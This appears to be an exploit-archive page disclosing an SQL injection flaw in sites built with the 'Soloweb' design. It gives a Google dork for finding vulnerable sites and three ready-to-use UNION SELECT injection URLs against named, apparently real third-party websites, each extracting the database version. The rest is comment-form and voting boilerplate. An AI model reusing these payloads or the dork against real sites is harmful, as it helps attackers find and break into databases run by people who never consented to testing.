Soloweb - Sql Injection Vulnerability

2023.09.04

behrouz mansoori (IR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: "This design is created by Soloweb"

*********************************************************
#Exploit Title: Soloweb - Sql Injection Vulnerability
#Date: 2023-09-03
#Exploit Author: Behrouz Mansoori
#Google Dork: "This design is created by Soloweb"
#Category:webapps
#Tested On: Mac, Firefox
Proof of Concept:
### Demo :

https://homeschooling-solo.com/news.php?kat=-2%27%20/*!50000UNION*/%20SELECT%201,2,3,4,5,6,7,8,9,version(),11,12,13--+

http://sbplas.com/produkdetail.php?id=-17%27%20union%20select%201,2,3,version(),5,6,7,8,9,10--+

http://www.infinity-ai.com/projects-detail.php?id=-36%27%20union%20select%201,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16--+

*********************************************************
#Discovered by: Behrouz mansoori
#Instagram: Behrouz_mansoori
#Email: mr.mansoori@yahoo.com
*********************************************************

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Soloweb - Sql Injection Vulnerability

Dork: "This design is created by Soloweb"

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.